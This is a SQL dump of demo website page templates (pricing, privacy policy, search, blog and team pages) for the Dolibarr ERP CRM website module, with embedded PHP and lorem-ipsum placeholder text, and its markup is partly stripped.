\n
\n Available features are :\n
    \n
  • \n \n Service 1
  • \n
  • \n \n Service 2
  • \n
  • \n \n Product 1
  • \n
\n
\n
\n Buy\n
\n
\n
\n \n
\n \n
\n \n
\n \n
\n \n \n
\n
\n
\n \n \n \n

\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(15,5,'privacy-policies','','Privacy Policies','Privacy Policies','Privacy policies, GDPR','
\n \n \n \n\n\n
\n
\n
\n
\n
\n
\n
\n
\n
Privacy Policy\n
\n
\n
\n
\n
\n
\n
\n
\n\n


\n\n
\n
\n

Information collected and used


\n

* Your customer information (email, phone, business name, first and last name of contact, address, postal code, country and VAT number) are stored when you become a customer. This information allows us to bill you. \n

* If you paid using our online service, we also store the last 4 digits of your card. The full details of your credit card is stored by our payment provider Stripe (the world leader in online payment).

\n

* You have the option to request the deletion of your data and the above information at any time (except data required y fiscal tracking rules, like your invoices).

\n

* The Privacy Policies and GDPR referral contact for our services is: global->MAIN_INFO_GDPR; ?>

\n


\n

Data Storage and Backups


\n

* The storage of collected data (see \'Information collected and used\') is done in a database.

\n

* We made one backup every week. Only 4 weeks are kept.

\n


\n

Subcontractor


\n

* Our services relies on the following subcontractors and service:
\n** The host of computer servers, which is ABC company. These servers are hosted in US. No customer information is communicated to this subcontractor who only provides the hardware and network layer, the installation and operation being carried out by us directly.
\n** The online payment service Stripe, which is used, to ensure regular payment of subscription or your invoices paid online.

\n


\n

Software Protection


\n

* Our services runs on Linux Ubuntu systems and software. They benefit from regular security updates when the operating system editor (Ubuntu Canonical) publishes them.

\n

* Our services are accessible in HTTPS (HTTP encrypted) only, encrypted with SHA256 certificates.

\n

* Our technical platform are protected by various solutions.

\n


\n

Data theft


\n

* In case of suspicion of a theft of the data we have collected (see first point \'Information collected and used\'), customers will be informed by email, at email corresponding to their customer account

\n

 

\n
\n
\n\n\n \n \n \n
\n \n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(16,5,'product-p','','Product P','Product P','','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Product P\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n
\n
\nThis is a description page of our product P...
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(17,5,'search','','Search Page','Search Page','','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Search\n
\n
\n
\n
\n
\n
\n
\n
\n\n


\n\n
\n \n
\n
\n \" />\n
\n \">\n
\n
\n \n
\n
\n
\n \n load(\"main\");\n \n if (function_exists(\'getPagesFromSearchCriterias\'))\n {\n if (GETPOSTISSET(\'s\'))\n {\n $listofpages = getPagesFromSearchCriterias(\'page\', \'meta\', GETPOST(\'s\', \'alphanohtml\'));\n if ($listofpages[\'code\'] == \'OK\')\n {\n foreach($listofpages[\'list\'] as $websitepagefound)\n {\n print \'
ref.\'.php\">\'.$websitepagefound->title.\' - \'.$websitepagefound->description.\'
\';\n }\n }\n else\n {\n // If error, show message\n print $listofpages[\'message\'];\n }\n }\n }\n else\n {\n print $weblangs->trans(\"FeatureNotYetAvailable\");\n }\n ?>\n \n





\n
\n\n \n\n
\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(18,5,'service-s','','Service S','Service S','','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Service S\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n
\n
\nThis is a description page of our service S...
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(19,5,'test','','test','Page test','test','Test\n',1,'2020-10-07 13:13:26',NULL,'2020-10-07 11:13:26',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(20,4,'credits','','Credits','Credits and legal notices','',' \n \n
\n\n \n
\n

Mentions légales

\n

Curriculum Vitae

\n
\n\n \n \n\n \n
\n\n \n
\n\n

\n \nThis site is edited by name; ?>\n\n \n

\n\n
\n\n
\n\n \n \n\n
\n\n',1,'2019-08-15 16:39:56',NULL,'2020-02-21 09:27:17',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(21,4,'footer','','Footer','','',' \n
\n
\n

Aliquam sed mauris

\n

Sed lorem ipsum dolor sit amet et nullam consequat feugiat consequat magna adipiscing tempus etiam dolore veroeros. eget dapibus mauris. Cras aliquet, nisl ut viverra sollicitudin, ligula erat egestas velit, vitae tincidunt odio.

\n \n
\n
\n

Etiam feugiat

\n
\n
Address
\n
getFullAddress(1, \'
\'); ?>
\n
Phone
\n
phone; ?>
\n
Email
\n
email; ?>\">email; ?>
\n
\n
\n
© Untitled. Design: HTML5 UP adapted for Dolibarr by NLTechno.
\n
\n\n\n\n\n\n',1,'2019-08-15 16:42:44',NULL,'2020-06-19 08:18:14',NULL,NULL,'page','fr',NULL,'','',NULL,'','',0,NULL,NULL),(22,4,'generic','','Generic page','Generic page or my personal Blog','My generic page',' \n\n
\n\n \n
\n

Another page

\n

Ipsum dolor sit amet nullam

\n
\n\n \n \n\n \n
\n\n \n
\n \"\"\n

Magna feugiat lorem

\n

Donec eget ex magna. Interdum et malesuada fames ac ante ipsum primis in faucibus. Pellentesque venenatis dolor imperdiet dolor mattis sagittis. Praesent rutrum sem diam, vitae egestas enim auctor sit amet. Pellentesque leo mauris, consectetur id ipsum sit amet, fergiat. Pellentesque in mi eu massa lacinia malesuada et a elit. Donec urna ex, lacinia in purus ac, pretium pulvinar mauris. Curabitur sapien risus, commodo eget turpis at, elementum convallis fames ac ante ipsum primis in faucibus.

\n

Pellentesque venenatis dolor imperdiet dolor mattis sagittis. Praesent rutrum sem diam, vitae egestas enim auctor sit amet.

\n

Tempus veroeros

\n

Cep risus aliquam gravida cep ut lacus amet. Adipiscing faucibus nunc placerat. Tempus adipiscing turpis non blandit accumsan eget lacinia nunc integer interdum amet aliquam ut orci non col ut ut praesent.

\n
\n\n \n
\n

Latest Blog posts

\n
\n loadLangs(array(\"main\",\"website\"));\n $fuser = new User($db);\n $arrayofblogs = $websitepage->fetchAll($website->id, \'DESC\', \'date_creation\', 5, 0, array(\'type_container\'=>\'blogpost\', \'status\'=>1, \'lang\'=>\'null,\'.$websitepage->lang)); // , \'keywords\'=>$keyword\n if (is_numeric($arrayofblogs) && $arrayofblogs < 0)\n {\n print \'
\'.$weblangs->trans($websitepage->error).\'
\';\n }\n elseif (is_array($arrayofblogs) && ! empty($arrayofblogs))\n {\n foreach($arrayofblogs as $blog)\n {\n print \'\';\n }\n }\n else\n {\n print \'
\';\n print \'
\';\n //print $weblangs->trans(\"NoArticlesFoundForTheKeyword\", $keyword);\n print $weblangs->trans(\"NoArticlesFound\");\n print \'
\';\n print \'
\';\n \n }\n ?>\n
\n
\n\n
\n\n\n\n \n \n \n \n
\n\n',1,'2019-08-15 00:03:43',NULL,'2020-05-14 16:48:34',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(23,4,'home','','My personal blog','Home page or my personal Blog','My personal blog','\n
\n\n \n
\n
\n

David Doe

\n

Welcome on my website
\n

\n
\n
\n\n \n \n\n \n
\n\n \n
\n
\n
\n
\n

Ipsum sed adipiscing

\n
\n

Sed lorem ipsum dolor sit amet nullam consequat feugiat consequat magna\n adipiscing magna etiam amet veroeros. Lorem ipsum dolor tempus sit cursus.\n Tempus nisl et nullam lorem ipsum dolor sit amet aliquam.

\n \n
\n \"\"\n
\n
\n\n \n
\n
\n

Magna veroeros

\n
\n
    \n
  • \n \n

    Ipsum consequat

    \n

    Sed lorem amet ipsum dolor et amet nullam consequat a feugiat consequat tempus veroeros sed consequat.

    \n
  • \n
  • \n \n

    Amed sed feugiat

    \n

    Sed lorem amet ipsum dolor et amet nullam consequat a feugiat consequat tempus veroeros sed consequat.

    \n
  • \n
  • \n \n

    Dolor nullam

    \n

    Sed lorem amet ipsum dolor et amet nullam consequat a feugiat consequat tempus veroeros sed consequat.

    \n
  • \n
\n \n
\n\n \n
\n
\n

Ipsum consequat

\n

Donec imperdiet consequat consequat. Suspendisse feugiat congue
\n posuere. Nulla massa urna, fermentum eget quam aliquet.

\n
\n
    \n
  • \n \n 5,120 Etiam\n
  • \n
  • \n \n 8,192 Magna\n
  • \n
  • \n \n 2,048 Tempus\n
  • \n
  • \n \n 4,096 Aliquam\n
  • \n
  • \n \n 1,024 Nullam\n
  • \n
\n

Nam elementum nisl et mi a commodo porttitor. Morbi sit amet nisl eu arcu faucibus hendrerit vel a risus. Nam a orci mi, elementum ac arcu sit amet, fermentum pellentesque et purus. Integer maximus varius lorem, sed convallis diam accumsan sed. Etiam porttitor placerat sapien, sed eleifend a enim pulvinar faucibus semper quis ut arcu. Ut non nisl a mollis est efficitur vestibulum. Integer eget purus nec nulla mattis et accumsan ut magna libero. Morbi auctor iaculis porttitor. Sed ut magna ac risus et hendrerit scelerisque. Praesent eleifend lacus in lectus aliquam porta. Cras eu ornare dui curabitur lacinia.

\n \n
\n\n \n
\n
\n

Congue imperdiet

\n

Donec imperdiet consequat consequat. Suspendisse feugiat congue
\n posuere. Nulla massa urna, fermentum eget quam aliquet.

\n
\n \n
\n\n
\n\n \n\n
\n\n',1,'2019-08-15 00:03:43',NULL,'2020-11-26 10:30:41',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(24,4,'menu','','Menu','Menu common to all pages','','\n',1,'2019-08-15 00:03:43',NULL,'2020-02-21 09:27:17',NULL,NULL,'menu','fr',NULL,'','',NULL,'','',0,NULL,NULL),(25,4,'this-is-a-blog-post','','This is a Blog post','This is a full meta description of the article','blog','\n
\n This is a blog post article...\n
\n',1,'2019-08-17 17:18:45',NULL,'2020-05-14 16:54:52',NULL,NULL,'blogpost','',NULL,'','',NULL,'','webmaster',0,NULL,NULL); +INSERT INTO `llx_website_page` VALUES (26,6,'blog','','Blog','Blog','blog','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
The latest news...\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n

\n
\n\n

\n\n \n\n
\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(27,6,'blog-our-company-is-now-on-dolibarr','','Our company is now on Dolibarr ERP CRM','Our company has moved on Dolibarr ERP CRM. This is an important step in improving all of our services.','','\n\n \n \n
\n
\n
\n
\n
\n
\n
\n
\n
title; ?>\n
\n
\n
\n
\n
\n
\n
\n
\n\n
\n


\n Like several thousands of companies, our company (name ?>) has moved all its information system to Dolibarr ERP CRM. More than 20 applications have been replaced by only one, easier to use and fully integrated.\n This is an important step in improving all of our services.\n \n


\n \n
\n \n

\n
Screenshot of our new Open Source solution
\n
\n \n \n \n





\n
\n\n\n\n\n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'blogpost','en',NULL,'','',NULL,'image/template-corporate/background_dolibarr.jpg','',0,NULL,NULL),(28,6,'blog-our-new-web-site-has-been-launched','','Our new web site has been launched','Our new website, based on Dolibarr CMS, has been launched. Modern and directly integrated with the internal management tools of the company, many new online services for our customers will be able to see the day...','','\n\n
\n
\n
\n
\n
\n
\n
\n
\n
title; ?>\n
\n
\n
\n
\n
\n
\n
\n
\n\n
\n





\n\n\n Our new website, based on Dolibarr CMS, has been launched.
\n Now it is modern and directly integrated with the internal management tools of the company. Many new online services will be available for our customers...\n\n \n


\n \n
\n \n

\n
Theme of our new web site
\n
\n \n\n





\n
\n\n\n\n\n\n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'blogpost','en',NULL,'','',NULL,'image/template-corporate/background_rough-horn.jpg','',0,NULL,NULL),(29,6,'careers','','Careers','Our job opportunities','career','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Job opportunities\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(30,6,'carriere','','Carrière','Nos opportunités professionnelles','career','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Offres d\'emploi\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n
\n
\nNous n\'avons pas d\'offres d\'emploi ouvertes en ce moment...
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','fr',NULL,'','',NULL,'','',0,NULL,NULL),(31,6,'clients-testimonials','','Clients Testimonials','Client Testimonials','testimonials, use cases, success story','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Testimonials\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n

\n

What they say about us

\n



\n Send us your testimonial (by email to email; ?>\">email; ?>)\n



\n

\n
\n\n

\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(32,6,'contact','','Contact','Privacy Policies','Contact','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Contact\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n

Contact us:



\n email ?>
\n getFullAddress() ?>
\n
\n
\n\n\n \n
\n
\n \n
\n\n


\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(33,6,'faq','','FAQ','Frequently Asked Questions','faq','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
FAQs\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n


Frequently Asked Questions

\n
\n
\n
\n

How can I contact you ?


\nYou can contact us by using this page.\n
\n
\n
\n

What is your privacy policy ?


\nYou may find information about our privacy policy on this page.\n\n\n



\n\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(34,6,'footer','','Footer','Footer','','\n
\n\n \n \n \n\n
\n\n\n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-06 21:50:25',NULL,NULL,'other','en',NULL,'','',NULL,'','',0,NULL,NULL),(35,6,'header','','Header and Top Menu','Header with menu','','\n\n\n\n
\n
\n
\n \n
\n
\n
\n',1,'2020-10-07 13:13:26',NULL,'2022-07-06 21:50:25',NULL,NULL,'other','en',NULL,'','',NULL,'','',0,NULL,NULL),(36,6,'home','','Home','Welcome','','
\n \n \n \n\n \n
\n
\n
\n
\n
\n
\n
\n
\n
Boost your business\n
\n
\n

We provide powerful solutions for all businesses

\n
\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
 Best prices on the market \n
\n
\n

Our optimized processes allows us to provide you very competitive prices

\n
\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n\n \n
\n
\n
\n
\n
\n
\n \n
\n
\n

Our sales representative are also technicians.

\n
\n
\n
\n
\n
\n \n
\n

Take a look at our offers...

\n
\n
\n
\n
\n
\n \n
\n

Our customer-supplier relationship is very appreciated by our customers

\n
\n
\n
\n
\n
\n
\n
\n \n
\n
\n

We continue to follow and assist you after the sale. Contact us at any time.

\n
\n
\n
\n
\n
\n\n\n \n
\n
\n

Looking for

\n

a high quality service?

\n

With a lot of experience, hiring us is a security for your business!

\n
\n
\n
11
\n
Years of Experience
\n
\n
\n
\n query($sql); $obj = $db->fetch_object($resql); print $obj->nb; ?>\n
\n
Experts
\n
\n
\n
\n query($sql); $obj = $db->fetch_object($resql); print $obj->nb; ?>\n
\n
Trusted Clients
\n
\n
\n
\n \n
\n
\n
\n\n \n \n \n
\n
\n
\n \n
\n \n
\n \n
\n

our plans

\n\n \n
\n \n
\n
\n
\n
FREE
\n
The best choice for personal use
\n
The service 1 for free
\n
\n 0/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1 \n
  • \n
\n
\n
\n Subcribe\n
\n
\n
\n \n \n \n
\n
\n
\n
STARTER
\n
For small companiess
\n
The service 1 and product 1 at low price
\n
\n 29/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1\n
  • \n
  • \n \n Product 1\n
  • \n
\n
\n
\n Subscribe\n
\n
\n
\n \n \n \n
\n
\n
\n
PREMIUM
\n
For large companies
\n
The full option package for a one shot price\n
\n
\n 2499\n
\n
\n Available features are :\n
    \n
  • \n \n Service 1
  • \n
  • \n \n Service 2
  • \n
  • \n \n Product 1
  • \n
\n
\n
\n Buy\n
\n
\n
\n \n
\n \n
\n \n
\n \n
\n \n \n
\n
\n
\n \n \n \n
\n
\n

our team

\n
\n
\n \n
\n
\n
\n
\n\n\n \n
\n
\n
\n
\n
\n

Request a callback

\n
\n
\n \n
\n
\n \n
\n
\n \n
\n
\n \n
\n
\n
\n
\n
\n
\n
\n \n \n \n
\n
\n
\n
\n
\n

successful cases

\n
\n
\n
\n
\n
\"\"\n
\n
\n
\n
\"\"\n
\n
\n
\n
\"\"\n
\n
\n
\n
\"\"\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n Albert Einstein\n
\n
Scientist, www.emc2.org
\n
\n
\n
\n
\n
-20%
\n
Expenses
\n
\n
\n
\n
\n
\n
\n \n They did everything, with almost no time or effort for me. The best part was that I could trust their team to represent our company professionally with our clients.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n Pierre Curie\n
\n
CEO “Cyclonic”
\n
\n
\n
\n
\n
-30%
\n
Expenses
\n
\n
\n
\n
\n
\n
\n \n Their course gave me the confidence to implement new techniques in my work. I learn “how” to write – “what” and “why” also became much clearer.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n Marie Curie\n
\n
CTO \"Cyclonic\"
\n
\n
\n
\n
\n
+22%
\n
Turnover
\n
\n
\n
\n
\n
\n
\n \n We were skeptical to work with a consultant to optimize our sales emails, but they were highly recommended by many other startups we knew. They helped us to reach our objective of 20% turnover increase, in 4 monthes.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n John Doe\n
\n
Sale representative
\n
\n
\n
\n
\n
+40%
\n
Quotes
\n
\n
\n
\n
\n
\n
\n \n Their work on our website and Internet marketing has made a significant different to our business. We’ve seen a +40% increase in quote requests from our website.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n \n\n \n
\n \n
\n\n\n \n\n\n
\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(37,6,'our-team','','Our team','Our team','team','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Our team\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n

\n

The crew...




\n query($sql);\n if (! $resql) dol_print_error($db);\n while ($obj = $db->fetch_object($resql))\n {\n $arrayofusers[]=$obj->rowid;\n }\n \n print \'
\';\n foreach($arrayofusers as $id)\n {\n $fuser->fetch($id);\n\n print \'
\';\n print \'
\';\n print \'
\';\n if ($fuser->photo) print Form::showphoto(\'userphoto\', $fuser, 100, 0, 0, \'photowithmargin\', \'\', 0);\n //print \'photo.\'\" width=\"129\" height=\"129\" alt=\"\">\';\n else print \'\"\"\';\n print \'
\';\n print \'
\';\n print \'
\'.$fuser->firstname.\'
\';\n print \'
    \';\n //print \'
  • September 24, 2018
  • \';\n if ($fuser->job) print \'
  • \'.$fuser->job.\'
  • \';\n else print \'
  • \';\n print \'
\';\n print \'
\';\n print \'
\';\n print \'
\';\n }\n print \'
\';\n\n ?>\n
\n
\n\n

\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(38,6,'partners','','Partners','Partners','partners','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Partners\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n

Our partners...

\n
\n
\n
\n
\n
\n \n
\n
\n
\n
\n \n
\n
\n
\n
\n
\n \n
\n
\n
\n
\n
\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(39,6,'pricing','','Pricing','All the prices of our offers','pricing','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Our plans\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n\n\n \n
\n
\n
\n \n
\n \n
\n \n
\n\n \n
\n \n
\n
\n
\n
FREE
\n
The best choice for personal use
\n
The service 1 for free
\n
\n 0/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1 \n
  • \n
\n
\n
\n Subcribe\n
\n
\n
\n \n \n \n
\n
\n
\n
STARTER
\n
For small companiess
\n
The service 1 and product 1 at low price
\n
\n 29/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1\n
  • \n
  • \n \n Product 1\n
  • \n
\n
\n
\n Subscribe\n
\n
\n
\n \n \n \n
\n
\n
\n
PREMIUM
\n
For large companies
\n
The full option package for a one shot price\n
\n
\n 2499\n
\n
\n Available features are :\n
    \n
  • \n \n Service 1
  • \n
  • \n \n Service 2
  • \n
  • \n \n Product 1
  • \n
\n
\n
\n Buy\n
\n
\n
\n \n
\n \n
\n \n
\n \n
\n \n \n
\n
\n
\n \n \n \n

\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(40,6,'privacy-policies','','Privacy Policies','Privacy Policies','Privacy policies, GDPR','
\n \n \n \n\n\n
\n
\n
\n
\n
\n
\n
\n
\n
Privacy Policy\n
\n
\n
\n
\n
\n
\n
\n
\n\n


\n\n
\n
\n

Information collected and used


\n

* Your customer information (email, phone, business name, first and last name of contact, address, postal code, country and VAT number) are stored when you become a customer. This information allows us to bill you. \n

* If you paid using our online service, we also store the last 4 digits of your card. The full details of your credit card is stored by our payment provider Stripe (the world leader in online payment).

\n

* You have the option to request the deletion of your data and the above information at any time (except data required y fiscal tracking rules, like your invoices).

\n

* The Privacy Policies and GDPR referral contact for our services is: global->MAIN_INFO_GDPR; ?>

\n


\n

Data Storage and Backups


\n

* The storage of collected data (see \'Information collected and used\') is done in a database.

\n

* We made one backup every week. Only 4 weeks are kept.

\n


\n

Subcontractor


\n

* Our services relies on the following subcontractors and service:
\n** The host of computer servers, which is ABC company. These servers are hosted in US. No customer information is communicated to this subcontractor who only provides the hardware and network layer, the installation and operation being carried out by us directly.
\n** The online payment service Stripe, which is used, to ensure regular payment of subscription or your invoices paid online.

\n


\n

Software Protection


\n

* Our services runs on Linux Ubuntu systems and software. They benefit from regular security updates when the operating system editor (Ubuntu Canonical) publishes them.

\n

* Our services are accessible in HTTPS (HTTP encrypted) only, encrypted with SHA256 certificates.

\n

* Our technical platform are protected by various solutions.

\n


\n

Data theft


\n

* In case of suspicion of a theft of the data we have collected (see first point \'Information collected and used\'), customers will be informed by email, at email corresponding to their customer account

\n

 

\n
\n
\n\n\n \n \n \n
\n \n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(41,6,'product-p','','Product P','Product P','','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Product P\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n
\n
\nThis is a description page of our product P...
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(42,6,'search','','Search Page','Search Page','','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Search\n
\n
\n
\n
\n
\n
\n
\n
\n\n


\n\n
\n \n
\n
\n \" />\n
\n \">\n
\n
\n \n
\n
\n
\n \n load(\"main\");\n \n if (function_exists(\'getPagesFromSearchCriterias\'))\n {\n if (GETPOSTISSET(\'s\'))\n {\n $listofpages = getPagesFromSearchCriterias(\'page\', \'meta\', GETPOST(\'s\', \'alphanohtml\'));\n if ($listofpages[\'code\'] == \'OK\')\n {\n foreach($listofpages[\'list\'] as $websitepagefound)\n {\n print \'
ref.\'.php\">\'.$websitepagefound->title.\' - \'.$websitepagefound->description.\'
\';\n }\n }\n else\n {\n // If error, show message\n print $listofpages[\'message\'];\n }\n }\n }\n else\n {\n print $weblangs->trans(\"FeatureNotYetAvailable\");\n }\n ?>\n \n





\n
\n\n \n\n
\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(43,6,'service-s','','Service S','Service S','','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Service S\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n
\n
\nThis is a description page of our service S...
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n',1,'2020-10-07 13:13:26',NULL,'2022-07-12 09:17:55',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(44,7,'credits','','Credits','Credits and legal notices','',' \n \n
\n\n \n
\n

Mentions légales

\n

Curriculum Vitae

\n
\n\n \n \n\n \n
\n\n \n
\n\n

\n \nThis site is edited by name; ?>\n\n \n

\n\n
\n\n
\n\n \n \n\n
\n\n',1,'2019-08-15 16:39:56',NULL,'2020-02-21 09:27:17',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(45,7,'footer','','Footer','','',' \n
\n
\n

Aliquam sed mauris

\n

Sed lorem ipsum dolor sit amet et nullam consequat feugiat consequat magna adipiscing tempus etiam dolore veroeros. eget dapibus mauris. Cras aliquet, nisl ut viverra sollicitudin, ligula erat egestas velit, vitae tincidunt odio.

\n \n
\n
\n

Etiam feugiat

\n
\n
Address
\n
getFullAddress(1, \'
\'); ?>
\n
Phone
\n
phone; ?>
\n
Email
\n
email; ?>\">email; ?>
\n
\n
\n
© Untitled. Design: HTML5 UP adapted for Dolibarr by DoliCloud.
\n
\n\n\n\n\n\n',1,'2019-08-15 16:42:44',NULL,'2020-06-19 08:18:14',NULL,NULL,'page','fr',NULL,'','',NULL,'','',0,NULL,NULL),(46,7,'generic','','Generic page','Generic page or my personal Blog','My generic page',' \n\n
\n\n \n
\n

Another page

\n

Ipsum dolor sit amet nullam

\n
\n\n \n \n\n \n
\n\n \n
\n \"\"\n

Magna feugiat lorem

\n

Donec eget ex magna. Interdum et malesuada fames ac ante ipsum primis in faucibus. Pellentesque venenatis dolor imperdiet dolor mattis sagittis. Praesent rutrum sem diam, vitae egestas enim auctor sit amet. Pellentesque leo mauris, consectetur id ipsum sit amet, fergiat. Pellentesque in mi eu massa lacinia malesuada et a elit. Donec urna ex, lacinia in purus ac, pretium pulvinar mauris. Curabitur sapien risus, commodo eget turpis at, elementum convallis fames ac ante ipsum primis in faucibus.

\n

Pellentesque venenatis dolor imperdiet dolor mattis sagittis. Praesent rutrum sem diam, vitae egestas enim auctor sit amet.

\n

Tempus veroeros

\n

Cep risus aliquam gravida cep ut lacus amet. Adipiscing faucibus nunc placerat. Tempus adipiscing turpis non blandit accumsan eget lacinia nunc integer interdum amet aliquam ut orci non col ut ut praesent.

\n
\n\n \n
\n

Latest Blog posts

\n
\n loadLangs(array(\"main\",\"website\"));\n $fuser = new User($db);\n $arrayofblogs = $websitepage->fetchAll($website->id, \'DESC\', \'date_creation\', 5, 0, array(\'type_container\'=>\'blogpost\', \'status\'=>1, \'lang\'=>\'null,\'.$websitepage->lang)); // , \'keywords\'=>$keyword\n if (is_numeric($arrayofblogs) && $arrayofblogs < 0)\n {\n print \'
\'.$weblangs->trans($websitepage->error).\'
\';\n }\n elseif (is_array($arrayofblogs) && ! empty($arrayofblogs))\n {\n foreach($arrayofblogs as $blog)\n {\n print \'\';\n }\n }\n else\n {\n print \'
\';\n print \'
\';\n //print $weblangs->trans(\"NoArticlesFoundForTheKeyword\", $keyword);\n print $weblangs->trans(\"NoArticlesFound\");\n print \'
\';\n print \'
\';\n \n }\n ?>\n
\n
\n\n
\n\n\n\n \n \n \n \n
\n\n',1,'2019-08-15 00:03:43',NULL,'2020-05-14 16:48:34',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(47,7,'home','','My personal blog','Home page or my personal Blog','My personal blog','\n
\n\n \n
\n
\n

David Doe

\n

Welcome on my website
\n

\n
\n
\n\n \n \n\n \n
\n\n \n
\n
\n
\n
\n

Ipsum sed adipiscing

\n
\n

Sed lorem ipsum dolor sit amet nullam consequat feugiat consequat magna\n adipiscing magna etiam amet veroeros. Lorem ipsum dolor tempus sit cursus.\n Tempus nisl et nullam lorem ipsum dolor sit amet aliquam.

\n \n
\n \"\"\n
\n
\n\n \n
\n
\n

Magna veroeros

\n
\n
    \n
  • \n \n

